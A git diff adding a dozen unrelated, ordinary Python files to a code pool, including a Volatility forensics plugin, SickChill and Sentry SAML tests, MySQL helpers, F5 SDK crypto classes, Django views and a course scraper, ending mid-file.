diff --git a/pool/shard000/Python/0007510_save.py b/pool/shard000/Python/0007510_save.py
new file mode 100644
index 0000000000000000000000000000000000000000..cae39d24971775024c7175c6423af626f870227a
--- /dev/null
+++ b/pool/shard000/Python/0007510_save.py
@@ -0,0 +1,42 @@
+import os
+import json
+
+
+class savedparser:
+
+    def __init__(self, saved_path: str):
+
+        if not os.path.isfile(saved_path):
+            raise FileNotFoundError
+
+        self.saved_path = saved_path
+
+    def parse(self):
+
+        with open(self.saved_path, 'r') as save_file:
+            articles = json.load(save_file)
+
+        return articles
+
+    def insert(self, article: dict):
+
+        with open(self.saved_path) as save_file:
+            articles = json.load(save_file)
+
+        ids_old = [a['id'] for a in articles]
+
+        if article['id'] not in ids_old:
+            articles = [article] + articles
+
+        with open(self.saved_path, 'w') as save_file:
+            json.dump(articles, save_file)
+
+    def remove(self, num: int=1):
+
+        with open(self.saved_path) as save_file:
+            articles = json.load(save_file)
+
+        articles = articles[:num-1] + articles[num:]
+
+        with open(self.saved_path, 'w') as save_file:
+            json.dump(articles, save_file)
diff --git a/pool/shard000/Python/0007513_netconns.py b/pool/shard000/Python/0007513_netconns.py
new file mode 100644
index 0000000000000000000000000000000000000000..afa11c90b0ce7291f5c579f374dc6031799f2754
--- /dev/null
+++ b/pool/shard000/Python/0007513_netconns.py
@@ -0,0 +1,114 @@
+# Volatility
+# Copyright (C) 2007-2013 Volatility Foundation
+#
+# This file is part of Volatility.
+#
+# Volatility is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# Volatility is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Volatility.  If not, see <http://www.gnu.org/licenses/>.
+#
+
+"""
+@author:       Andrew Case
+@license:      GNU General Public License 2.0
+@contact:      atcuno@gmail.com
+@organization: 
+"""
+
+import volatility.obj as obj
+import volatility.plugins.mac.common as common
+from volatility.renderers import TreeGrid
+from volatility.renderers.basic import Address
+
+class mac_network_conns(common.AbstractMacCommand):
+    """ Lists network connections from kernel network structures """
+
+    # in_pcblookup_hash - bsd/netinet/in_pcb.c 
+    def _walk_pcb_hash(self, proto_pcbinfo):
+        pcb_hash = obj.Object("Array", offset = proto_pcbinfo.hashbase, vm = self.addr_space, targetType = "Pointer", count = proto_pcbinfo.hashmask + 1)
+
+        for pcb_ent in pcb_hash:
+            head = pcb_ent.dereference_as("inpcbhead")
+
+            if not head:
+                continue
+
+            inpcb = head.lh_first.dereference_as("inpcb")
+
+            while inpcb:
+                yield inpcb
+                inpcb = inpcb.inp_hash.le_next 
+
+    # in_pcblookup_hash - bsd/netinet/in_pcb.c 
+    def _walk_pcb_list(self, proto_pcbinfo):
+        inpcb = proto_pcbinfo.listhead.lh_first.dereference_as("inpcb")
+
+        while inpcb:
+            yield inpcb
+            inpcb = inpcb.inp_list.le_next 
+
+    def _walk_pcb_entries(self, inpcbinfo_addr):
+        pcbs = {}
+        
+        inpcbinfo = obj.Object("inpcbinfo", offset = inpcbinfo_addr, vm = self.addr_space)
+
+        for pcbinfo in self._walk_pcb_list(inpcbinfo):
+            pcbs[pcbinfo.obj_offset] = pcbinfo
+    
+        for pcbinfo in self._walk_pcb_hash(inpcbinfo):
+            pcbs[pcbinfo.obj_offset] = pcbinfo
+
+        for pcbinfo in pcbs.values():
+            (lip, lport, rip, rport) = pcbinfo.ipv4_info() 
+            yield (pcbinfo, lip, lport, rip, rport)
+
+    def calculate(self):
+        common.set_plugin_members(self)    
+
+        entries = []
+        
+        tcbinfo_addr   = self.addr_space.profile.get_symbol("_tcbinfo")
+        udbinfo_addr   = self.addr_space.profile.get_symbol("_udbinfo") 
+        ripdbinfo_addr = self.addr_space.profile.get_symbol("_ripcbinfo")
+        
+        info_addrs = [("TCP", tcbinfo_addr), ("UDP", udbinfo_addr), ("RAW", ripdbinfo_addr)]
+
+        for (proto_str, info_addr) in info_addrs:
+            for (pcbinfo, lip, lport, rip, rport) in self._walk_pcb_entries(info_addr):
+                if proto_str == "TCP":
+                    state = pcbinfo.get_tcp_state()
+                else:
+                    state = ""
+                yield (proto_str, pcbinfo, lip, lport, rip, rport, state)
+
+    def unified_output(self, data):
+        return TreeGrid([("Offset (V)", Address),
+                                  ("Protocol", str),
+                                  ("Local IP", str),
+                                  ("Local Port", int),
+                                  ("Remote IP", str),
+                                  ("Remote Port", int),
+                                  ("State", str),
+                                 ], self.generator(data))
+
+    def generator(self, data):
+        for (proto, pcb, lip, lport, rip, rport, state) in data: 
+            yield(0, [
+                Address(pcb.obj_offset),
+                str(proto),
+                str(lip),
+                int(lport),
+                str(rip),
+                int(rport),
+                str(state),
+                ])
+
diff --git a/pool/shard000/Python/0007515_torrent_tests.py b/pool/shard000/Python/0007515_torrent_tests.py
new file mode 100644
index 0000000000000000000000000000000000000000..eec600dffc530981c58c4067bcaf3846f6a29038
--- /dev/null
+++ b/pool/shard000/Python/0007515_torrent_tests.py
@@ -0,0 +1,76 @@
+import unittest
+
+import sickchill.logger
+from sickchill import settings
+from sickchill.oldbeard.providers import bitcannon, rarbg
+from sickchill.tv import TVEpisode, TVShow
+from tests import test_lib as test
+
+
+class TorrentBasicTests(test.SickChillTestDBCase):
+    """
+    Test torrents
+    """
+    @classmethod
+    def setUpClass(cls):
+        cls.shows = []
+
+        show = TVShow(1, 121361)
+        show.name = "Italian Works"
+        show.episodes = []
+        episode = TVEpisode(show, 5, 10)
+        episode.name = "Pines of Rome"
+        episode.scene_season = 5
+        episode.scene_episode = 10
+        show.episodes.append(episode)
+        cls.shows.append(show)
+
+    def test_bitcannon(self):
+        """
+        Test bitcannon
+        """
+        provider = bitcannon.Provider()
+        provider.custom_url = ""        # true testing requires a valid URL here (e.g., "http://localhost:3000/")
+        provider.api_key = ""
+
+        if provider.custom_url:
+
+            search_strings_list = provider.get_episode_search_strings(self.shows[0].episodes[0])  # [{'Episode': ['Italian Works S05E10']}]
+            for search_strings in search_strings_list:
+                provider.search(search_strings)   # {'Episode': ['Italian Works S05E10']}
+
+        return True
+
+    @unittest.skip('Only run this manually')
+    def test_search(self):
+        """
+        Test searching, using rarbg
+        """
+        settings.CPU_PRESET = 'LOW'
+        provider = rarbg.Provider()
+        results = provider.search({'Episode': ['The Mandalorian S01E08']})
+        self.assertTrue(results)
+        self.assertIn('Mandalorian', results[0]['title'])
+
+        results = provider.search({'RSS': ['']})
+        self.assertTrue(results)
+
+
+if __name__ == "__main__":
+    print("==================")
+    print("STARTING - Torrent Basic TESTS")
+    print("==================")
+    print("######################################################################")
+
+    def override_log(msg, *args, **kwargs):
+        """Override the SickChill logger so we can see the debug output from providers"""
+        _ = args, kwargs
+        print(msg)
+
+    sickchill.logger.info = override_log
+    sickchill.logger.debug = override_log
+    sickchill.logger.error = override_log
+    sickchill.logger.warning = override_log
+
+    SUITE = unittest.TestLoader().loadTestsFromTestCase(TorrentBasicTests)
+    unittest.TextTestRunner(verbosity=2).run(SUITE)
diff --git a/pool/shard000/Python/0007520_dbutils.py b/pool/shard000/Python/0007520_dbutils.py
new file mode 100644
index 0000000000000000000000000000000000000000..fcd6b2031cd28e5147c406fe5207042cc17b9ec9
--- /dev/null
+++ b/pool/shard000/Python/0007520_dbutils.py
@@ -0,0 +1,65 @@
+#encoding: utf-8
+
+import MySQLdb
+
+import gconf
+
+
+def execute_fetch_sql(sql, args=(), fetch=True):
+    return execute_sql(sql, args, fetch)
+
+def execute_commit_sql(sql, args=(), fetch=False):
+    return execute_sql(sql, args, fetch)
+
+
+def execute_sql(sql, args=(), fetch=True):
+    _conn = None
+    _cur = None
+    _count = 0
+    _rt_list = []
+    try:
+        _conn = MySQLdb.connect(host=gconf.MYSQL_HOST, port=gconf.MYSQL_PORT, \
+                        user=gconf.MYSQL_USER, passwd=gconf.MYSQL_PASSWD, \
+                        db=gconf.MYSQL_DB, charset=gconf.MYSQL_CHARSET)
+
+        #_conn.autocommit(True)              #autocommit
+        _cur = _conn.cursor()
+        _count = _cur.execute(sql, args)
+        if fetch:
+            _rt_list = _cur.fetchall()
+        else:
+            _conn.commit()                      #commit, 和autocommit任选其一
+    except BaseException as e:
+        print e
+    finally:
+        if _cur:
+            _cur.close()
+        if _conn:
+            _conn.close()
+    return _count, _rt_list
+
+def bulker_commit_sql(sql, args_list=[]):
+    _conn = None
+    _cur = None
+    _count = 0
+    _rt_list = []
+    try:
+        _conn = MySQLdb.connect(host=gconf.MYSQL_HOST, port=gconf.MYSQL_PORT, \
+                        user=gconf.MYSQL_USER, passwd=gconf.MYSQL_PASSWD, \
+                        db=gconf.MYSQL_DB, charset=gconf.MYSQL_CHARSET)
+
+        #_conn.autocommit(True)              #autocommit
+        _cur = _conn.cursor()
+        for _args in args_list:
+            print sql, _args
+            _count += _cur.execute(sql, _args)
+        _conn.commit()                      #commit, 和autocommit任选其一
+    except BaseException as e:
+        print e
+    finally:
+        if _cur:
+            _cur.close()
+        if _conn:
+            _conn.close()
+
+    return _count, _rt_list
\ No newline at end of file
diff --git a/pool/shard000/Python/0007523_crypto.py b/pool/shard000/Python/0007523_crypto.py
new file mode 100644
index 0000000000000000000000000000000000000000..8eba58aecb6a62e3e998b7ec3c4c1851153c8937
--- /dev/null
+++ b/pool/shard000/Python/0007523_crypto.py
@@ -0,0 +1,88 @@
+# coding=utf-8
+#
+# Copyright 2016 F5 Networks Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+"""BIG-IP® system config module
+
+REST URI
+    ``http://localhost/mgmt/tm/sys/config``
+
+GUI Path
+    N/A
+
+REST Kind
+    ``tm:sys:config:*``
+"""
+
+from f5.bigip.resource import Collection
+from f5.bigip.resource import OrganizingCollection
+from f5.bigip.resource import Resource
+
+
+class Crypto(OrganizingCollection):
+    def __init__(self, sys):
+        super(Crypto, self).__init__(sys)
+        self._meta_data['allowed_lazy_attributes'] = [
+            Certs,
+            Keys
+        ]
+
+
+class Keys(Collection):
+    def __init__(self, crypto):
+        super(Keys, self).__init__(crypto)
+        self._meta_data['allowed_lazy_attributes'] = [
+            Key
+        ]
+        self._meta_data['attribute_registry'] =\
+            {'tm:sys:crypto:key:keystate': Key}
+
+    def install_key(self, certfilename, keyfilename):
+        payload =\
+            {"from-local-file": "/var/config/rest/downloads/%s" % keyfilename,
+             "command": "install",
+             "name": certfilename[:-4]}
+        self._meta_data['icr_session'].post(self._meta_data['uri'],
+                                            json=payload)
+
+
+class Key(Resource):
+    def __init__(self, keys):
+        super(Key, self).__init__(keys)
+        self._meta_data['required_json_kind'] = 'tm:sys:crypto:key:keystate'
+
+
+class Certs(Collection):
+    def __init__(self, crypto):
+        super(Certs, self).__init__(crypto)
+        self._meta_data['allowed_lazy_attributes'] = [
+            Cert
+        ]
+        self._meta_data['attribute_registry'] =\
+            {'tm:sys:crypto:cert:certstate': Cert}
+
+    def install_cert(self, certfilename):
+        payload =\
+            {"from-local-file": "/var/config/rest/downloads/%s" % certfilename,
+             "command": "install",
+             "name": certfilename[:-4]}
+        self._meta_data['icr_session'].post(self._meta_data['uri'],
+                                            json=payload)
+
+
+class Cert(Resource):
+    def __init__(self, certs):
+        super(Cert, self).__init__(certs)
+        self._meta_data['required_json_kind'] = 'tm:sys:crypto:cert:certstate'
diff --git a/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py b/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py
new file mode 100644
index 0000000000000000000000000000000000000000..15bcadd263c80c91ba0b90d757a08cd30099d042
--- /dev/null
+++ b/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py
@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+### 
+
+
+import string
+import copy
+import sys
+from Bio import SeqIO
+from StringIO import StringIO
+import random
+
+fastafile1 = sys.argv[1]
+fastafile2 = sys.argv[2]
+seqs1=[]
+seqs2=[]
+sizes1=[]
+
+handle1 = open(fastafile1)
+for seq_record in SeqIO.parse(handle1, "fasta"):
+	sizes1.append(len(seq_record.seq))
+	seqs1.append(seq_record)
+
+handle1.close()
+
+handle2 = open(fastafile2)
+sizes2 = [len(seq_record.seq) for seq_record in SeqIO.parse(handle2, "fasta")]
+
+handle2.close()
+
+
+def uniq(seq):
+	keys = {}
+	for e in seq:
+		keys[e] = 1
+	return keys.keys()
+
+allSizes=uniq(sizes1+sizes2)
+
+
+
+distrib1={}
+for i in allSizes:
+    distrib1[i]=0
+
+distrib2=copy.deepcopy(distrib1)
+distribCounter1=copy.deepcopy(distrib1)
+distribCounter2=copy.deepcopy(distrib1)
+
+for i in sizes1:
+	distrib1[i]+=1
+
+for j in sizes2:
+	distrib2[j]+=1
+
+distribCommon={}
+for i in allSizes:
+	if min(distrib1[i],distrib2[i])!=0:
+		distribCommon[i]=min(distrib1[i],distrib2[i])
+
+random.shuffle(seqs1)
+
+handleout1 = open(fastafile1+".overlap", "w")
+
+for i in seqs1:
+	seqsize=len(i.seq)
+	if distribCommon.has_key(seqsize):
+		if distribCounter1[seqsize] < distribCommon[seqsize]:
+			SeqIO.write(i, handleout1, "fasta")
+			distribCounter1[seqsize]+=1
+
+handleout1.close()
+
+handle2r = open(fastafile2)
+for seq_record in SeqIO.parse(handle2r, "fasta"):
+	seqs2.append(seq_record)
+handle2r.close()
+
+random.shuffle(seqs2)
+
+handleout2 = open(fastafile2+".overlap", "w")
+
+for i in seqs2:
+	seqsize=len(i.seq)
+	if distribCommon.has_key(seqsize):
+		if distribCounter2[seqsize] < distribCommon[seqsize]:
+			SeqIO.write(i, handleout2, "fasta")
+			distribCounter2[seqsize]+=1
+
+handleout2.close()
+
+
+
+
+
+
+
diff --git a/pool/shard000/Python/0007527_letters.py b/pool/shard000/Python/0007527_letters.py
new file mode 100644
index 0000000000000000000000000000000000000000..7d5d7051c1cd7a47b4bf01c149bd607390f1cd6e
--- /dev/null
+++ b/pool/shard000/Python/0007527_letters.py
@@ -0,0 +1,147 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""This file is part of the prometeo project.
+
+This program is free software: you can redistribute it and/or modify it 
+under the terms of the GNU Lesser General Public License as published by the
+Free Software Foundation, either version 3 of the License, or (at your
+option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>
+"""
+
+__author__ = 'Emanuele Bertoldi <emanuele.bertoldi@gmail.com>'
+__copyright__ = 'Copyright (c) 2011 Emanuele Bertoldi'
+__version__ = '0.0.5'
+
+from django.utils.translation import ugettext_lazy as _
+from django.shortcuts import render_to_response, get_object_or_404
+from django.core.urlresolvers import reverse
+from django.views.generic.simple import redirect_to
+from django.views.generic import list_detail, create_update
+from django.template import RequestContext
+from django.contrib import messages
+
+from prometeo.core.auth.decorators import obj_permission_required as permission_required
+from prometeo.core.views import filtered_list_detail
+from prometeo.documents.models import *
+from prometeo.documents.forms import *
+from prometeo.documents.views import *
+from prometeo.products.forms import ProductEntryFormset
+
+from ..models import *
+from ..forms import *
+
+def _get_letter(request, *args, **kwargs):
+    note_id = kwargs.get('note_id', None)
+    if note_id:
+        return get_object_or_404(Letter, id=note_id)
+    id = kwargs.get('id', None)
+    if id:
+        return get_object_or_404(Letter, id=id)
+    return None
+
+@permission_required('partners.view_letter')
+def letter_list(request, page=0, paginate_by=10, **kwargs):
+    """Shows a letter list.
+    """
+    return filtered_list_detail(
+        request,
+        Document.objects.get_for_content(Letter),
+        fields=['code', 'author', 'created', 'owner'],
+        page=page,
+        paginate_by=paginate_by,
+        template_name='partners/letter_list.html',
+        **kwargs
+    )
+
+@permission_required('partners.add_letter')     
+def letter_add(request, **kwargs):
+    """Adds a new letter.
+    """
+    letter = Letter()
+    doc = Document(author=request.user, content_object=letter)
+      
+    if request.method == 'POST':
+        dform = DocumentForm(request.POST, instance=doc)
+        form = LetterForm(request.POST, instance=letter)
+        if form.is_valid() and dform.is_valid():
+            form.save()
+            doc.content_object = letter 
+            dform.save()
+            messages.success(request, _("The letter was created successfully."))
+            return redirect_to(request, url=doc.get_absolute_url())
+    else:
+        dform = DocumentForm(instance=doc)
+        form = LetterForm(instance=letter)
+
+    return render_to_response('partners/letter_edit.html', RequestContext(request, {'form': form, 'dform': dform, 'object': doc}))
+
+@permission_required('partners.view_letter', _get_letter)     
+def letter_detail(request, id, page=None, **kwargs):
+    """Shows letter details.
+    """
+    object_list = Document.objects.get_for_content(Letter)
+
+    return list_detail.object_detail(
+        request,
+        object_id=object_list.get(object_id=id).pk,
+        queryset=object_list,
+        extra_context={
+            'object_list': object_list,
+        },
+        template_name=kwargs.pop('template_name', 'partners/letter_detail.html'),
+        **kwargs
+    )
+
+@permission_required('partners.change_letter', _get_letter)     
+def letter_edit(request, id, **kwargs):
+    """Edits a letter.
+    """
+    doc = get_object_or_404(Document.objects.get_for_content(Letter), object_id=id)
+    letter = doc.content_object
+      
+    if request.method == 'POST':
+        dform = DocumentForm(request.POST, instance=doc)
+        form = LetterForm(request.POST, instance=letter)
+        if form.is_valid() and dform.is_valid():
+            form.save()
+            dform.save()
+            messages.success(request, _("The letter was updated successfully."))
+            return redirect_to(request, url=doc.get_absolute_url())
+    else:
+        dform = DocumentForm(instance=doc)
+        form = LetterForm(instance=letter)
+
+    return render_to_response('partners/letter_edit.html', RequestContext(request, {'form': form, 'dform': dform, 'object': doc}))
+
+@permission_required('partners.delete_letter', _get_letter)    
+def letter_delete(request, id, **kwargs):
+    """Deletes a letter.
+    """
+    return create_update.delete_object(
+        request,
+        model=Document,
+        object_id=Document.objects.get_for_content(Letter).get(object_id=id).pk,
+        post_delete_redirect=reverse('letter_list'),
+        template_name='partners/letter_delete.html',
+        **kwargs
+    )
+
+@permission_required('partners.view_letter', _get_letter)     
+def letter_hardcopies(request, id, page=0, paginate_by=10, **kwargs):
+    """Shows letter hard copies.
+    """
+    return hardcopy_list(request, Document.objects.get_for_content(Letter).get(object_id=id).pk, page, paginate_by, **kwargs)
+
+@permission_required('partners.change_letter', _get_letter)     
+def letter_add_hardcopy(request, id, **kwargs):
+    """Adds an hard copy to the given document.
+    """
+    return hardcopy_add(request, Document.objects.get_for_content(Letter).get(object_id=id).pk, **kwargs)
diff --git a/pool/shard000/Python/0007528_test_auth_saml2.py b/pool/shard000/Python/0007528_test_auth_saml2.py
new file mode 100644
index 0000000000000000000000000000000000000000..9b623112fb44c1575053701566000c88e4349f5a
--- /dev/null
+++ b/pool/shard000/Python/0007528_test_auth_saml2.py
@@ -0,0 +1,176 @@
+from __future__ import absolute_import
+
+import six
+import pytest
+import base64
+import mock
+from exam import fixture
+from six.moves.urllib.parse import urlencode, urlparse, parse_qs
+
+from django.conf import settings
+from django.core.urlresolvers import reverse
+
+from sentry.auth.providers.saml2 import SAML2Provider, Attributes, HAS_SAML2
+from sentry.models import AuthProvider
+from sentry.testutils import AuthProviderTestCase
+from sentry.testutils.helpers import Feature
+
+
+dummy_provider_config = {
+    'idp': {
+        'entity_id': 'https://example.com/saml/metadata/1234',
+        'x509cert': 'foo_x509_cert',
+        'sso_url': 'http://example.com/sso_url',
+        'slo_url': 'http://example.com/slo_url',
+    },
+    'attribute_mapping': {
+        Attributes.IDENTIFIER: 'user_id',
+        Attributes.USER_EMAIL: 'email',
+        Attributes.FIRST_NAME: 'first_name',
+        Attributes.LAST_NAME: 'last_name',
+    },
+}
+
+
+class DummySAML2Provider(SAML2Provider):
+    def get_saml_setup_pipeline(self):
+        return []
+
+    def build_config(self, state):
+        return dummy_provider_config
+
+
+@pytest.mark.skipif(not HAS_SAML2, reason='SAML2 library is not installed')
+class AuthSAML2Test(AuthProviderTestCase):
+    provider = DummySAML2Provider
+    provider_name = 'saml2_dummy'
+
+    def setUp(self):
+        self.user = self.create_user('rick@onehundredyears.com')
+        self.org = self.create_organization(owner=self.user, name='saml2-org')
+        self.auth_provider = AuthProvider.objects.create(
+            provider=self.provider_name,
+            config=dummy_provider_config,
+            organization=self.org,
+        )
+
+        # The system.url-prefix, which is used to generate absolute URLs, must
+        # have a TLD for the SAML2 library to consider the URL generated for
+        # the ACS endpoint valid.
+        self.url_prefix = settings.SENTRY_OPTIONS.get('system.url-prefix')
+
+        settings.SENTRY_OPTIONS.update({
+            'system.url-prefix': 'http://testserver.com',
+        })
+
+        super(AuthSAML2Test, self).setUp()
+
+    def tearDown(self):
+        # restore url-prefix config
+        settings.SENTRY_OPTIONS.update({
+            'system.url-prefix': self.url_prefix,
+        })
+
+        super(AuthSAML2Test, self).tearDown()
+
+    @fixture
+    def login_path(self):
+        return reverse('sentry-auth-organization', args=['saml2-org'])
+
+    @fixture
+    def acs_path(self):
+        return reverse('sentry-auth-organization-saml-acs', args=['saml2-org'])
+
+    @fixture
+    def setup_path(self):
+        return reverse('sentry-organization-auth-settings', args=['saml2-org'])
+
+    def test_redirects_to_idp(self):
+        resp = self.client.post(self.login_path, {'init': True})
+
+        assert resp.status_code == 302
+        redirect = urlparse(resp.get('Location', ''))
+        query = parse_qs(redirect.query)
+
+        assert redirect.path == '/sso_url'
+        assert 'SAMLRequest' in query
+
+    def accept_auth(self, **kargs):
+        saml_response = self.load_fixture('saml2_auth_response.xml')
+        saml_response = base64.b64encode(saml_response)
+
+        # Disable validation of the SAML2 mock response
+        is_valid = 'onelogin.saml2.response.OneLogin_Saml2_Response.is_valid'
+
+        with mock.patch(is_valid, return_value=True):
+            return self.client.post(self.acs_path, {'SAMLResponse': saml_response}, **kargs)
+
+    def test_auth_sp_initiated(self):
+        # Start auth process from SP side
+        self.client.post(self.login_path, {'init': True})
+        auth = self.accept_auth()
+
+        assert auth.status_code == 200
+        assert auth.context['existing_user'] == self.user
+
+    def test_auth_idp_initiated(self):
+        auth = self.accept_auth()
+
+        assert auth.status_code == 200
+        assert auth.context['existing_user'] == self.user
+
+    def test_auth_setup(self):
+        self.auth_provider.delete()
+        self.login_as(self.user)
+
+        data = {'init': True, 'provider': self.provider_name}
+
+        with Feature(['organizations:sso', 'organizations:sso-saml2']):
+            setup = self.client.post(self.setup_path, data)
+
+        assert setup.status_code == 302
+        redirect = urlparse(setup.get('Location', ''))
+        assert redirect.path == '/sso_url'
+
+        auth = self.accept_auth(follow=True)
+
+        messages = map(lambda m: six.text_type(m), auth.context['messages'])
+
+        assert len(messages) == 2
+        assert messages[0] == 'You have successfully linked your account to your SSO provider.'
+        assert messages[1].startswith('SSO has been configured for your organization')
+
+    def test_auth_idp_initiated_no_provider(self):
+        self.auth_provider.delete()
+        auth = self.accept_auth(follow=True)
+
+        assert auth.status_code == 200
+
+        messages = map(lambda m: six.text_type(m), auth.context['messages'])
+        assert len(messages) == 1
+        assert messages[0] == 'The organization does not exist or does not have SAML SSO enabled.'
+
+    def test_saml_metadata(self):
+        path = reverse('sentry-auth-organization-saml-metadata', args=['saml2-org'])
+        resp = self.client.get(path)
+
+        assert resp.status_code == 200
+        assert resp.get('content-type') == 'text/xml'
+
+    def test_logout_request(self):
+        saml_request = self.load_fixture('saml2_slo_request.xml')
+        saml_request = base64.b64encode(saml_request)
+
+        self.login_as(self.user)
+
+        path = reverse('sentry-auth-organization-saml-sls', args=['saml2-org'])
+        path = path + '?' + urlencode({'SAMLRequest': saml_request})
+        resp = self.client.get(path)
+
+        assert resp.status_code == 302
+
+        redirect = urlparse(resp.get('Location', ''))
+        query = parse_qs(redirect.query)
+
+        assert redirect.path == '/slo_url'
+        assert 'SAMLResponse' in query
diff --git a/pool/shard000/Python/0007533_update_illinois.py b/pool/shard000/Python/0007533_update_illinois.py
new file mode 100644
index 0000000000000000000000000000000000000000..4e257483e3ea169cb7a41e13fc2cdadc8ddd1e70
--- /dev/null
+++ b/pool/shard000/Python/0007533_update_illinois.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+
+
+
+from spider import *
+
+class IllinoisSpider(Spider):
+
+    def __init__(self):
+        Spider.__init__(self)
+        self.school = 'illinois'
+
+    def doWork(self):
+
+        file_name = self.get_file_name('eecs', self.school)
+        file_lines = self.countFileLineNum(file_name)
+        f = self.open_db(file_name + ".tmp")
+        self.count = 0
+
+        r = requests.get('http://ws.engr.illinois.edu/courses/list.asp?mode=timetable&unit=1434&profile=/courses/profile/&groupby=term&term=120151&type=~ind')
+        text = r.text
+        text = text.replace("document.write('", '').replace("');", '').replace("\\", '')
+        soup = BeautifulSoup(text)
+        for div in soup.find_all('div', class_='extCourse'):
+            sp = BeautifulSoup(div.prettify())
+            courseNum = sp.find('div', class_='extCourseRubric').text.replace(' ', '').strip()
+            title = sp.find('div', class_='extCourseTitle').text.strip()
+            link = 'http://cs.illinois.edu/courses/profile/' + courseNum
+            print courseNum + ' ' + title
+            self.count += 1
+            self.write_db(f, courseNum, title, link)
+
+        self.close_db(f)
+        if file_lines != self.count and self.count > 0:
+            self.do_upgrade_db(file_name)
+            print "before lines: " + str(file_lines) + " after update: " + str(self.count) + " \n\n"
+        else:
+            self.cancel_upgrade(file_name)
+            print "no need upgrade\n"
+
+start = IllinoisSpider()
+start.doWork()
diff --git a/pool/shard000/Python/0007542_workspaceSymbol.py b/pool/shard000/Python/0007542_workspaceSymbol.py
new file mode 100644
index 0000000000000000000000000000000000000000..bb6e54a8a196b22f8af4d4158a6acc71c0a306b7
--- /dev/null
+++ b/pool/shard000/Python/0007542_workspaceSymbol.py
@@ -0,0 +1,53 @@
+from os import path
+import sys
+
+from .base import Base
+
+sys.path.insert(0, path.dirname(path.dirname(__file__)))
+
+from common import (  # isort:skip  # noqa: I100 E402
+    convert_symbols_to_candidates,
+    SYMBOL_CANDIDATE_HIGHLIGHT_SYNTAX,
+    highlight_setup,
+)
+
+
+class Source(Base):
+    def __init__(self, vim):
+        super().__init__(vim)
+        self.vim = vim
+
+        self.name = 'workspaceSymbol'
+        self.kind = 'file'
+
+    def highlight(self):
+        highlight_setup(self, SYMBOL_CANDIDATE_HIGHLIGHT_SYNTAX)
+
+    def gather_candidates(self, context):
+        context['is_interactive'] = True
+        prefix = context['input']
+        bufnr = context['bufnr']
+
+        # This a hack to get around the fact that LanguageClient APIs
+        # work in the context of the active buffer, when filtering results
+        # interactively, the denite buffer is the active buffer and it doesn't
+        # have a language server asscosiated with it.
+        # We just switch to the buffer that initiated the denite transaction
+        # and execute the command from it. This should be changed when we
+        # have a better way to run requests out of the buffer.
+        # See issue#674
+        current_buffer = self.vim.current.buffer.number
+        if current_buffer != bufnr:
+            self.vim.command("tabedit %")
+            self.vim.command(
+                "execute 'noautocmd keepalt buffer' {}".format(bufnr))
+        result = self.vim.funcs.LanguageClient_runSync(
+            'LanguageClient#workspace_symbol', prefix, {}) or []
+        if current_buffer != bufnr:
+            self.vim.command("tabclose")
+
+        candidates = convert_symbols_to_candidates(
+            result,
+            pwd=self.vim.funcs.getcwd())
+
+        return candidates
diff --git a/pool/shard000/Python/0007547_setup.py b/pool/shard000/Python/0007547_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..e483c13153c70ba9a8a55783d3a41972ea769e97
--- /dev/null
+++ b/pool/shard000/Python/0007547_setup.py
@@ -0,0 +1,37 @@
+# -*- coding: UTF-8 -*-
+
+from distutils.core import setup
+
+# http://stackoverflow.com/a/7071358/735926
+import re
+VERSIONFILE='omitempty/__init__.py'
+verstrline = open(VERSIONFILE, 'rt').read()
+VSRE = r'^__version__\s+=\s+[\'"]([^\'"]+)[\'"]'
+mo = re.search(VSRE, verstrline, re.M)
+if mo:
+    verstr = mo.group(1)
+else:
+    raise RuntimeError("Unable to find version string in %s." % VERSIONFILE)
+
+setup(
+    name='omitempty',
+    version=verstr,
+    author='Baptiste Fontaine',
+    author_email='b@ptistefontaine.fr',
+    packages=['omitempty'],
+    url='https://github.com/bfontaine/omitempty',
+    license=open('LICENSE', 'r').read(),
+    description='enums for Python',
+    long_description="""\
+omitempty is a Golang's omitempty equivalent for Python""",
+    classifiers=[
+        'License :: OSI Approved :: MIT License',
+        'Programming Language :: Python :: 2.6',
+        'Programming Language :: Python :: 2.7',
+        'Programming Language :: Python :: 3.3',
+        'Programming Language :: Python :: 3.4',
+        'Programming Language :: Python :: 3.5',
+        'Intended Audience :: Developers',
+        'Operating System :: OS Independent',
+    ],
+)
diff --git a/pool/shard000/Python/0007548_estemplateresponsewriter.py b/pool/shard000/Python/0007548_estemplateresponsewriter.py
new file mode 100644
index 0000000000000000000000000000000000000000..e947031d23480eee5e9764845727a7c4c3879dd2
--- /dev/null
+++ b/pool/shard000/Python/0007548_estemplateresponsewriter.py
@@ -0,0 +1,116 @@
+from types import *
+import logging
+import urllib
+import json
+from collections import OrderedDict
+
+from edge.httputility import HttpUtility
+from edge.writer.templateresponsewriter import TemplateResponseWriter
+
+class ESTemplateResponseWriter(TemplateResponseWriter):
+    def __init__(self, configFilePath, requiredParams = None):
+        super(ESTemplateResponseWriter, self).__init__(configFilePath, requiredParams)
+        self.searchParameters = {}
+        self.variables = {}
+        self.facet = False
+        self.facetDefs = {}
+        self.contentType = 'application/xml'
+
+    def get(self, requestHandler):
+        super(ESTemplateResponseWriter, self).get(requestHandler)
+
+        startIndex = 0
